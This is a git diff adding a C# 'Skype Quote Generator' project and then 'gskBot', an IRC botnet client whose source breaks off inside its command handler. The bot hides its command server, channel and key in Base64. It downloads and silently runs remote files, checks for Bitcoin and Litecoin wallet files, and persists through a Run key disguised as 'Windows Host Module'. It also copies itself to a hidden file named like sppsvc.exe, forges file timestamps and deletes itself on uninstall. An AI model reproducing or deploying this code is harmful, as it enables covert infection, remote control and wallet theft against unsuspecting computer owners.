+ // class via a tool like ResGen or Visual Studio.
+ // To add or remove a member, edit your .ResX file then rerun ResGen
+ // with the /str option, or rebuild your VS project.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ internal class Resources {
+
+ private static global::System.Resources.ResourceManager resourceMan;
+
+ private static global::System.Globalization.CultureInfo resourceCulture;
+
+ [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+ internal Resources() {
+ }
+
+ ///
+ /// Returns the cached ResourceManager instance used by this class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Resources.ResourceManager ResourceManager {
+ get {
+ if (object.ReferenceEquals(resourceMan, null)) {
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SkypeQuote.Properties.Resources", typeof(Resources).Assembly);
+ resourceMan = temp;
+ }
+ return resourceMan;
+ }
+ }
+
+ ///
+ /// Overrides the current thread's CurrentUICulture property for all
+ /// resource lookups using this strongly typed resource class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Globalization.CultureInfo Culture {
+ get {
+ return resourceCulture;
+ }
+ set {
+ resourceCulture = value;
+ }
+ }
+ }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx
new file mode 100644
index 0000000..ffecec8
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx
@@ -0,0 +1,117 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs
new file mode 100644
index 0000000..bb8934d
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs
@@ -0,0 +1,26 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace SkypeQuote.Properties {
+
+
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
+ internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
+
+ private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+ public static Settings Default {
+ get {
+ return defaultInstance;
+ }
+ }
+ }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings
new file mode 100644
index 0000000..abf36c5
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj
new file mode 100644
index 0000000..77f800b
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj
@@ -0,0 +1,116 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}
+ WinExe
+ Properties
+ SkypeQuote
+ SkypeQuote
+ v2.0
+ 512
+ true
+
+ publish\
+ true
+ Disk
+ false
+ Foreground
+ 7
+ Days
+ false
+ false
+ true
+ 0
+ 1.0.0.%2a
+ false
+ false
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+ skype.ico
+
+
+
+
+
+
+
+
+
+
+ Form
+
+
+ Main.cs
+
+
+
+
+ Main.cs
+
+
+ ResXFileCodeGenerator
+ Resources.Designer.cs
+ Designer
+
+
+ True
+ Resources.resx
+ True
+
+
+
+ SettingsSingleFileGenerator
+ Settings.Designer.cs
+
+
+ True
+ Settings.settings
+ True
+
+
+
+
+
+
+
+
+
+
+ False
+ .NET Framework 3.5 SP1
+ true
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user
new file mode 100644
index 0000000..e990f23
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user
@@ -0,0 +1,13 @@
+
+
+
+ publish\
+
+
+
+
+
+ en-US
+ false
+
+
\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe
new file mode 100644
index 0000000..ea2f132
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb
new file mode 100644
index 0000000..5f5b43e
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe
new file mode 100644
index 0000000..1ef18e8
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest
new file mode 100644
index 0000000..f96b1d6
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache
new file mode 100644
index 0000000..d407d06
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..25e0d15
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources
new file mode 100644
index 0000000..6d4d0b8
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources
new file mode 100644
index 0000000..06c24d0
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..4818505
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt
@@ -0,0 +1,9 @@
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe.config
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.pdb
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csprojResolveAssemblyReference.cache
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Main.resources
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Properties.Resources.resources
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csproj.GenerateResource.Cache
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.exe
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.pdb
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache
new file mode 100644
index 0000000..c7523f5
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache
new file mode 100644
index 0000000..f68a200
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe
new file mode 100644
index 0000000..ea2f132
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb
new file mode 100644
index 0000000..5f5b43e
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
new file mode 100644
index 0000000..7fcfb31
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico
new file mode 100644
index 0000000..f26e3da
Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico differ
diff --git a/c#/gskBot/.vs/gskBot/v14/.suo b/c#/gskBot/.vs/gskBot/v14/.suo
new file mode 100644
index 0000000..7499a3d
Binary files /dev/null and b/c#/gskBot/.vs/gskBot/v14/.suo differ
diff --git a/c#/gskBot/gskBot.sln b/c#/gskBot/gskBot.sln
new file mode 100644
index 0000000..1f3c9ed
--- /dev/null
+++ b/c#/gskBot/gskBot.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Express 2013 for Windows Desktop
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "gskBot", "gskBot\gskBot.csproj", "{E3BEC248-AB70-4696-B5D1-46C275D8970E}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/c#/gskBot/gskBot.v12.suo b/c#/gskBot/gskBot.v12.suo
new file mode 100644
index 0000000..db59b25
Binary files /dev/null and b/c#/gskBot/gskBot.v12.suo differ
diff --git a/c#/gskBot/gskBot/App.config b/c#/gskBot/gskBot/App.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/gskBot/gskBot/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/gskBot/gskBot/Bot.cs b/c#/gskBot/gskBot/Bot.cs
new file mode 100644
index 0000000..c830f5d
--- /dev/null
+++ b/c#/gskBot/gskBot/Bot.cs
@@ -0,0 +1,60 @@
+#region Imports
+using System.Threading;
+using Microsoft.Win32;
+//using System.Reflection;
+#endregion
+
+#region Assembly
+/*
+[assembly: AssemblyTitle("")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("")]
+[assembly: AssemblyCopyright("")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+[assembly: ComVisible(false)]
+[assembly: Guid("00000000-0000-0000-0000-000000000000")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+*/
+#endregion
+
+namespace gskBot {
+ class Bot {
+ #region Startup
+ static void Main() {
+ if (Config.Startup) Function.Install();
+ SystemEvents.PowerModeChanged += SessionEvents;
+ SystemEvents.SessionEnding += PowerEvents;
+ Thread.Sleep(Config.ConnectionDelay);
+ IRC.Connect();
+ }
+ #endregion
+
+ #region Events
+ static void PowerEvents(object sender, SessionEndingEventArgs e) {
+ switch (e.Reason) {
+ case SessionEndReasons.Logoff:
+ if (IRC.Connected) IRC.Quit("LOGOFF");
+ break;
+ case SessionEndReasons.SystemShutdown:
+ if (IRC.Connected) IRC.Quit("SHUTDOWN");
+ break;
+ }
+ }
+
+ static void SessionEvents(object sender, PowerModeChangedEventArgs e) {
+ switch (e.Mode) {
+ case PowerModes.Resume:
+ IRC.Connect();
+ break;
+ case PowerModes.Suspend:
+ if (IRC.Connected) IRC.Quit("SLEEP");
+ break;
+ }
+ }
+ #endregion
+ }
+}
\ No newline at end of file
diff --git a/c#/gskBot/gskBot/Config.cs b/c#/gskBot/gskBot/Config.cs
new file mode 100644
index 0000000..22cb864
--- /dev/null
+++ b/c#/gskBot/gskBot/Config.cs
@@ -0,0 +1,38 @@
+#region Imports
+using System;
+using System.Diagnostics;
+#endregion
+
+namespace gskBot {
+ class Config {
+ #region Connection Settings
+ public static string Server = Function.Base64Decode("aXJjLnN1cGVybmV0cy5vcmc="); // irc.supernets.org
+ public static string Channel = Function.Base64Decode("I2hhcmJvcg=="); // #harbor
+ public static string ChannelKey = Function.Base64Decode("QmFiQ2FkeTE5OTU="); // BabCady1995
+ public static int Port = 6697;
+ #endregion
+
+ #region Bot Settings
+ public static string ID = Function.RandomStr(6).ToUpper();
+ public static string Nick = Function.GetCountryCode() + "|" + Function.GetOS() + "-" + Function.GetMachineType() + "|" + ID;
+ public static string AdminHost = Function.Base64Decode("c3VwZXIubmV0cw==");
+ #endregion
+
+ #region Startup Settings
+ public static bool Persistance = true;
+ public static bool Startup = true;
+ public static string StartupKeyName = "Windows Host Module";
+ public static string StartupKeyDir = @"Software\Microsoft\Windows\CurrentVersion\Run";
+ public static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+ public static string InstallFile = AppData + @"\Microsoft\Windows\Services\sppsvc.exe";
+ #endregion
+
+ #region Other Settings
+ public static bool Debug = false;
+ public static int ConnectionDelay = 30000;
+ public static int ReconnectDelay = 300000;
+ public static string SelfPath = Process.GetCurrentProcess().MainModule.FileName;
+ public static string Version = "1.0.0";
+ #endregion
+ }
+}
diff --git a/c#/gskBot/gskBot/Function.cs b/c#/gskBot/gskBot/Function.cs
new file mode 100644
index 0000000..169942c
--- /dev/null
+++ b/c#/gskBot/gskBot/Function.cs
@@ -0,0 +1,235 @@
+#region Imports
+using Microsoft.Win32;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using System.Reflection;
+using System.Security.Cryptography;
+using System.Security.Principal;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading;
+#endregion
+
+namespace gskBot {
+ class Function {
+ #region Check Network
+ public static bool CheckNetwork() {
+ return System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable();
+ }
+ #endregion
+
+ #region CryptoCurrency Check
+ public static bool CheckBTC() {
+ if (File.Exists(Config.AppData + @"\Bitcoin\wallet.dat")) return true;
+ else return false;
+ }
+
+ public static bool CheckLTC() {
+ if (File.Exists(Config.AppData + @"\Litecoin\wallet.dat")) return true;
+ else return false;
+ }
+ #endregion
+
+ #region Download & Execute
+ public static void Download(string URL) {
+ string TempFile = Path.GetTempPath() + Function.RandomStr(6) + Path.GetExtension(URL);
+ using (WebClient WC = new WebClient()) WC.DownloadFile(URL, TempFile);
+ using (Process DropProcesss = new Process()) {
+ DropProcesss.StartInfo.FileName = TempFile;
+ DropProcesss.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
+ DropProcesss.StartInfo.CreateNoWindow = true;
+ DropProcesss.Start();
+ }
+ }
+ #endregion
+
+ #region Get Admin
+ public static bool GetAdmin() {
+ return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
+ }
+ #endregion
+
+ #region Get Age
+ public static string GetAge() {
+ DateTime CreationTime = File.GetCreationTime(Config.SelfPath);
+ if (DateTime.Now.Subtract(CreationTime).TotalHours < 1) return " [NEW]";
+ else return "";
+ }
+ #endregion
+
+ #region Get Computer Name
+ public static string GetComputerName() {
+ return Environment.MachineName;
+ }
+ #endregion
+
+ #region Get Country Code
+ public static string GetCountryCode() {
+ return System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
+ }
+ #endregion
+
+ #region Get IP Address
+ public static string GetIP() {
+ try {
+ string externalIP;
+ externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
+ externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(externalIP)[0].ToString();
+ return externalIP;
+ } catch {
+ return "Unknown IP";
+ }
+ }
+ #endregion
+
+ #region Get Machine Type
+ public static string GetMachineType() {
+ if (Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString().Contains("x86")) return "32";
+ else return "64";
+ }
+ #endregion
+
+ #region Get Operating System
+ public static string GetOS() {
+ int Major = Environment.OSVersion.Version.Major;
+ int Minor = Environment.OSVersion.Version.Minor;
+ if (Environment.OSVersion.Platform == PlatformID.Win32Windows) {
+ if (Minor == 0) return "W95";
+ else if (Minor == 10) return "W98";
+ else if (Minor == 90) return "WME";
+ else return "W?";
+ } else if (Environment.OSVersion.Platform == PlatformID.Win32NT) {
+ if (Major == 5 & Minor == 0) return "WS2K";
+ else if (Major == 5 & Minor == 1) return "WXP";
+ else if (Major == 5 & Minor == 2) return "WS2K3";
+ else if (Major == 6 & Minor == 0) return "WV";
+ else if (Major == 6 & Minor == 1) return "W7";
+ else if (Major == 6 & Minor == 2) return "W8";
+ else if (Major == 6 & Minor == 3) return "W81";
+ else if (Major == 10) return "W10";
+ else return "W?";
+ } else return "W?";
+ }
+ #endregion
+
+ #region Get File Size
+ public static string GetFileSize(string URL) {
+ WebRequest RequestURL = HttpWebRequest.Create(URL);
+ RequestURL.Method = "HEAD";
+ WebResponse resp = RequestURL.GetResponse();
+ long ContentLength = 0;
+ long FileSizeConverted;
+ if (long.TryParse(resp.Headers.Get("Content-Length"), out ContentLength)) {
+ string FileSize;
+ string FileSizeExt;
+ if (ContentLength >= 1073741824) {
+ FileSizeConverted = ContentLength / 1073741824;
+ FileSizeExt = "Gb";
+ } else if (ContentLength >= 1048576) {
+ FileSizeConverted = ContentLength / 1048576;
+ FileSizeExt = "Mb";
+ } else {
+ FileSizeConverted = ContentLength / 1024;
+ FileSizeExt = "Kb";
+ }
+ FileSize = FileSizeConverted.ToString("0");
+ return FileSize + " " + FileSizeExt;
+ } else {
+ return "Unknown Size";
+ }
+ }
+ #endregion
+
+ #region Get Username
+ public static string GetUsername() {
+ return Environment.UserName;
+ }
+ #endregion
+
+ #region Hash Encoding
+ public static string Base64Encode(string plainText) {
+ var plainTextBytes = Encoding.UTF8.GetBytes(plainText);
+ return Convert.ToBase64String(plainTextBytes);
+ }
+
+ public static string Base64Decode(string base64EncodedData) {
+ var base64EncodedBytes = Convert.FromBase64String(base64EncodedData);
+ return Encoding.UTF8.GetString(base64EncodedBytes);
+ }
+
+ public static string MD5File(string FileName) {
+ using (var md5 = MD5.Create()) {
+ using (var stream = File.OpenRead(FileName)) {
+ return BitConverter.ToString(md5.ComputeHash(stream)).Replace("-", string.Empty);
+ }
+ }
+ }
+ #endregion
+
+ #region Persistence
+ public static void Persistence() {
+ RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
+ while (Config.Persistance) {
+ HKCU.SetValue(Config.StartupKeyName, Config.InstallFile);
+ Thread.Sleep(5000);
+ }
+ }
+ #endregion
+
+ #region Random Integer / String
+ public static int RandomInt(int min, int max) {
+ Random RandomObject = new Random();
+ return RandomObject.Next(min, max);
+ }
+
+ public static string RandomStr(int size) {
+ Random RandomObject = new Random();
+ string CharList = "abcdefghijklmnpqrstuvwxyz23456789";
+ char[] buffer = new char[size];
+ for (int i = 0; i < size; i++) buffer[i] = CharList[RandomObject.Next(CharList.Length)];
+ return new string(buffer);
+ }
+ #endregion
+
+ #region Install / Uninstall
+ public static void Install() {
+ if (Config.SelfPath == Config.InstallFile) new Thread(Persistence).Start();
+ else {
+ if (!File.Exists(Config.InstallFile)) {
+ if (!Directory.Exists(Config.InstallFile)) Directory.CreateDirectory(Path.GetDirectoryName(Config.InstallFile));
+ Directory.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ Directory.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ Directory.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ File.Copy(Config.SelfPath, Config.InstallFile, true);
+ File.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ File.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ File.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+ File.SetAttributes(Config.InstallFile, FileAttributes.Hidden | FileAttributes.System | FileAttributes.ReadOnly | FileAttributes.NotContentIndexed);
+ Process.Start(Config.InstallFile);
+ Environment.Exit(0);
+ } else Environment.Exit(0);
+ }
+ }
+
+ public static void Uninstall() {
+ Config.Persistance = false;
+ try {
+ RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
+ HKCU.DeleteValue(Config.StartupKeyName);
+ File.SetAttributes(Config.SelfPath, FileAttributes.Normal);
+ ProcessStartInfo MeltProcess = new ProcessStartInfo();
+ MeltProcess.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.SelfPath;
+ MeltProcess.WindowStyle = ProcessWindowStyle.Hidden;
+ MeltProcess.CreateNoWindow = true;
+ MeltProcess.FileName = "cmd.exe";
+ Process.Start(MeltProcess);
+ Environment.Exit(0);
+ } catch {
+ Environment.Exit(0);
+ }
+ }
+ #endregion
+ }
+}
\ No newline at end of file
diff --git a/c#/gskBot/gskBot/IRC.cs b/c#/gskBot/gskBot/IRC.cs
new file mode 100644
index 0000000..6deff94
--- /dev/null
+++ b/c#/gskBot/gskBot/IRC.cs
@@ -0,0 +1,146 @@
+#region Imports
+using System;
+using System.Diagnostics;
+using System.Net.Sockets;
+using System.Text.RegularExpressions;
+using System.IO;
+using System.Threading;
+using System.Net.Security;
+using System.Security.Cryptography.X509Certificates;
+#endregion
+
+namespace gskBot {
+ class IRC {
+ #region Globals
+ static SslStream SslStream;
+ static StreamReader SockRead;
+ static StreamWriter SockWrite;
+ static TcpClient TCP;
+ public static bool Connected = false;
+ static string Data;
+ static string[] Args;
+ #endregion
+
+ #region Close Connections
+ public static void CloseConnections() {
+ SockRead.Close();
+ SockWrite.Close();
+ SslStream.Close();
+ TCP.Close();
+ Connected = false;
+ }
+ #endregion
+
+ #region Connect
+ public static void Connect() {
+ try {
+ TCP = new TcpClient(Config.Server, Config.Port) { ReceiveBufferSize = 1024 };
+ SslStream = new SslStream(TCP.GetStream(), false, new RemoteCertificateValidationCallback(OnCertificateValidation));
+ SslStream.AuthenticateAsClient(Config.Server);
+ SockRead = new StreamReader(SslStream);
+ SockWrite = new StreamWriter(SslStream) { AutoFlush = true, NewLine = "\r\n" };
+ Raw("NICK " + Config.Nick);
+ Raw("USER " + Config.ID.ToLower() + " * " + Config.Server + " :" + Config.Nick);
+ Connected = true;
+ Listen();
+ } catch {
+ Reconnect();
+ }
+ }
+ #endregion
+
+ #region Command Handler
+ public static void CommandHandler(string Data) {
+ if (Data != null) {
+ if (Config.Debug) Console.WriteLine(Data);
+ Args = Data.Split();
+ if (Args.Length >= 2) {
